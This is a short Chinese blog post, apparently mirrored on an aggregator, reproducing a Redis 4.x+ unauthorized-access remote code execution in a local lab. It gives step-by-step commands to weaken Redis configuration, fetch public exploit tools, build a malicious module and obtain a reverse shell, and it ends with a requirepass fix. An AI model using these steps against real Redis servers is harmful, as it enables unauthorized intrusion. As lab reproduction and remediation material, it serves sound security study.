zoukankan      html  css  js  c++  java
  • redis 4.x及以上的未授权访问(主从复制RCE)

    00x01 环境搭建

    选择在kali中复现

    选择了redis5.0.5版本

    1.下载并安装:

    $ wget http://download.redis.io/releases/redis-5.0.5.tar.gz

    $ tar xzf redis-5.0.5.tar.gz

    $ cd redis-5.0.5

    $ make

    2.将redis-5.0.5.tar.gz里面的redis.conf文件中的“bind 127.0.0.1”这一行前面加注释符“#”;再将”protected-mode yes”改为no。

    3.运行redis:

    ./redis-server ../redis.conf

     

    00x02 下载EXP

    git clone https://github.com/Ridter/redis-rce.git

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

    生成module.so文件:

    进入RedisModules-ExecuteCommand文件的sec文件里面,看见makefile、module.c两个文件,进入该路径的终端,执行命令make生成module.so文件

     

    将module.so文件复制到redis-rce目录下

     

    在当前目录下的终端执行:python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so

    -r参数是指远程Redis IP地址; -L参数是指反弹到的服务器IP地址; 执行命令后,开启监听了本地的60720端口,并成功反弹回了shell。

     

    00x03修复建议

    这属于未授权访问漏洞,redis是默认开启未授权访问的,因此只要网站管理员将redis.conf文件里面的”requirepass”参数开启就行了(取消注释及开启)

     

  • 相关阅读:
    电影观后感
    自定义内存管理
    web.xml配置详解
    Annotation
    Centos中yum方式安装java
    linux下添加用户并赋予root权限
    Injector
    Container
    GlassFish的安装与使用(Windows)
    Version Control
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11185471.html
Copyright © 2011-2022 走看看